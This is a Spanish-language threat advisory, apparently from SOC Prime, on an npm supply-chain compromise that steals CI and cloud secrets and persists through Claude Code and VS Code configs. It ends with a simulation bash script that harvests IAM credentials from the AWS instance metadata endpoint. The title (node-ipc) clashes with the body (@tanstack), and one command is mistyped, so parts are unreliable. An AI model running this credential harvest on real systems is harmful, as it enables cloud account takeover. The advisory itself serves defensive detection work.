SOC Prime Bias: Critical

15 May 2026 13:38 UTC

Ataque activo a la cadena de suministro compromete el paquete node-ipc

Author Photo
SOC Prime Team linkedin icon Seguir
Ataque activo a la cadena de suministro compromete el paquete node-ipc
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Investigadores de Socket descubrieron un compromiso en la cadena de suministro que afecta a 84 paquetes de npm publicados bajo el @tanstack namespace. Las actualizaciones maliciosas introdujeron un archivo JavaScript altamente ofuscado diseñado para robar secretos relacionados con CI de GitHub Actions, AWS, HashiCorp Vault y entornos Kubernetes, luego usar esas credenciales para republicarse en npm. La carga útil también plantó ganchos de persistencia dentro de los directorios de configuración de Claude Code y VS Code. Los investigadores vincularon la actividad a la campaña de malware más amplia Mini Shai-Hulud de la cadena de suministro.

Investigación

La investigación identificó un archivo que se agregó recientemente, router_init.js, que utilizaba rotación de matriz de cadenas, una capa adicional de descodificación XOR y Base64, y dabaemonización para ocultar su comportamiento. El malware apuntaba a variables de entorno, servicios de metadatos en la nube y puntos finales de API asociados con GitHub, AWS, Vault y Kubernetes para recopilar credenciales. Se propagó abusando de la federación OIDC de GitHub Actions para obtener tokens de publicación npm e insertó una optionalDependency on @tanstack/setupmaliciosa. El tráfico de exfiltración se encaminó a través de la red de mensajería descentralizada de Session.

Mitigación

Las organizaciones afectadas por la campaña deben verificar los hashes de todos los contenidos del paquete @tanstack/* , rotar todas las credenciales de CI y en la nube, revocar las concesiones de federación OIDC expuestas, y eliminar archivos no autorizados de los directorios .claude and .vscode . Bloquear el tráfico saliente a filev2.getsession.org y hacer cumplir controles de integridad para los paquetes npm puede reducir aún más la exposición. Los flujos de trabajo de GitHub Actions también deben reforzarse fijando acciones de terceros y minimizando permisos de id-token. permisos.

Respuesta

Los defensores deben buscar presencia de router_init.js y nombres de archivos relacionados, monitorear procesos sospechosos generados y alertar sobre accesos a los puntos finales de metadatos en la nube identificados. Cualquier paquete comprometido debe ser puesto en cuarentena, eliminando los ganchos maliciosos y rotando todas las credenciales expuestas inmediatamente. Los equipos de seguridad también deben llevar a cabo una revisión completa de la actividad de GitHub Actions para el uso no autorizado de tokens y validar la procedencia de todos los paquetes npm publicados.

"graph TB %% Definiciones de Clase classDef technique fill:#e6f7ff classDef operator fill:#ffcc66 %% Nodos que representan cada técnica de ATT&CK a_initial_access["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: El adversario compromete una cadena de suministro de software (por ejemplo, paquete npm malicioso) para obtener acceso inicial."] class a_initial_access technique b_execution["<b>Técnica</b> – <b>T1129 Módulos Compartidos</b><br/><b>Descripción</b>: Módulo compartido malicioso (router_init.js) ejecutado automáticamente durante la instalación del paquete."] class b_execution technique c_persistence["<b>Técnica</b> – <b>T1176.002 Extensiones IDE</b><br/><b>Descripción</b>: Escribe archivos ocultos (.claude, .vscode) y ganchos para mantener la persistencia a través de extensiones IDE comprometidas."] class c_persistence technique d_def_evasion["<b>Técnica</b> – <b>T1027 Archivos Ofuscados o Información</b><br/><b>Descripción</b>: La carga útil está ofuscada para evitar la detección.<br/><b>Técnica</b> – <b>T1140 Deofuscar/Decodificar Archivos o Información</b><br/><b>Descripción</b>: Rutina de ejecución descifra el código antes de ejecutarlo."] class d_def_evasion technique e_cred_access["<b>Técnica</b> – <b>T1552.005 Credenciales No Aseguradas</b><br/><b>Descripción</b>: Lee la API de metadatos de instancias en la nube para obtener credenciales.<br/><b>Técnica</b> – <b>T1555.006 Gestión de Secretos de Nube</b><br/><b>Descripción</b>: Recupera secretos de los almacenes secretos de la nube."] class e_cred_access technique f_account_disc["<b>Técnica</b> – <b>T1087.004 Cuenta de Nube</b><br/><b>Descripción</b>: Enumera la información de la cuenta de nube para identificar recursos y privilegios."] class f_account_disc technique g_cred_use["<b>Técnica</b> – <b>T1078 Cuentas Válidas</b><br/><b>Descripción</b>: Usa el token OIDC extraído como una cuenta válida para publicar paquetes maliciosos adicionales."] class g_cred_use technique h_propagation["<b>Técnica</b> – <b>T1195.001 Compromiso de la Cadena de Suministro</b><br/><b>Descripción</b>: Reu2011utiliza el paquete malicioso a través de optionalDependencies y el gancho prepare npm para esparcirse a proyectos aguas abajo."] class h_propagation technique i_command_exec["<b>Técnica</b> – <b>T1059.009 Llamadas API de Nube</b><br/><b>Descripción</b>: Ejecuta comandos invocando las API de GitHub, AWS y Vault directamente desde el entorno comprometido."] class i_command_exec technique j_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltración Sobre Canal C2</b><br/><b>Descripción</b>: Exfiltra datos sobre un canal de sesión peeru2011to-peer establecido entre nodos comprometidos."] class j_exfiltration technique k_remote_services["<b>Técnica</b> – <b>T1021.007 Servicios de Nube</b><br/><b>Descripción</b>: Aprovecha los commits de GitHub GraphQL como servicio remoto para mantener el comando y control."] class k_remote_services technique %% Conexiones de flujo secuencial a_initial_access –>|conduce_a| b_execution b_execution –>|conduce_a| c_persistence c_persistence –>|conduce_a| d_def_evasion d_def_evasion –>|conduce_a| e_cred_access e_cred_access –>|conduce_a| f_account_disc f_account_disc –>|conduce_a| g_cred_use g_cred_use –>|conduce_a| h_propagation h_propagation –>|conduce_a| i_command_exec i_command_exec –>|conduce_a| j_exfiltration j_exfiltration –>|conduce_a| k_remote_services "

Flujo de Ataque

Detecciones

Descarga de Ejecutable Sospechosa (vía proxy)

Equipo de SOC Prime
15 de mayo de 2026

Archivo de Configuración Automática de Tareas de Vscode Posible Creado en Directorio Inusual [MACOS] (vía file_event)

Equipo de SOC Prime
15 de mayo de 2026

Archivo de Configuración Automática de Tareas de Vscode Posible Creado en Directorio Inusual [LINUX] (vía file_event)

Equipo de SOC Prime
15 de mayo de 2026

IOCs (HashSha256) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc

Reglas de IA de SOC Prime
15 de mayo de 2026

IOCs (HashSha1) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc

Reglas de IA de SOC Prime
15 de mayo de 2026

IOCs (HashMd5) para detectar: Ataque Activo a la Cadena de Suministro: Compromiso del Paquete node-ipc

Reglas de IA de SOC Prime
15 de mayo de 2026

Recolección de Credenciales de AWS a través de IMDSv2 y Endpoint de Metadatos de Tareas ECS [AWS Cloudtrail]

Reglas de IA de SOC Prime
15 de mayo de 2026

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa y Comandos del Ataque:

    1. Obtener un token de sesión IMDSv2 – el atacante emite una PUT solicitud al endpoint del token con un TTL de 21600 segundos.
    2. Usar el token para consultar el nombre del rol IAM expuesto en /latest/meta-data/iam/security-credentials/.
    3. Recuperar las credenciales IAM temporales (AccessKeyId, SecretAccessKey, Token) para el perfil de instancia.
    4. Almacenar las credenciales localmente para usos posteriores (por ejemplo, para llamar a APIs de AWS, pivote o realizar ataques de pulverización de contraseñas).

    Estos pasos generan tráfico HTTP a los URIs exactos listados en la regla Sigma que, cuando son capturados por los registros de flujo de VPC, deberían satisfacer la condición de detección.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Script: aws_imds_credential_harvest.sh
    # Propósito: Simular la recolección de credenciales vía IMDSv2 / metadatos de ECS
    # -------------------------------------------------
    
    set -euo pipefail
    
    # 1. Solicitar token IMDSv2
    TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
    
    if [[ -z "$TOKEN" ]]; then
      echo "[!] Fallo al obtener el token IMDSv2"
      exit 1
    fi
    echo "[*] Token IMDSv2 obtenido"
    
    # 2. Obtener el nombre del rol IAM asociado con la instancia
    ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
      -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
    
    if [[ -z "$ROLE_NAME" ]]; then
      echo "[!] No se pudo recuperar el nombre del rol IAM"
      exit 1
    fi
    echo "[*] Rol IAM de la instancia: $ROLE_NAME"
    
    # 3. Recuperar credenciales temporales para el rol
    CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
      -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
    
    echo "[*] Credenciales recuperadas:"
    echo "$CREDS_JSON" | jq .
    
    # 4. (Opcional) Exportar como variables de entorno para uso posterior con AWS CLI
    export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
    export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
    export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
    
    echo "[*] Credenciales exportadas al entorno (solo para demostración)."
    # -------------------------------------------------
    # Fin del script
    # -------------------------------------------------
  • Comandos de Limpieza:

    # Desestablecer las variables de entorno que contienen credenciales temporales
    aunset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
    
    # Eliminar archivos temporales (ninguno creado en este script)
    echo "[*] Limpieza completa."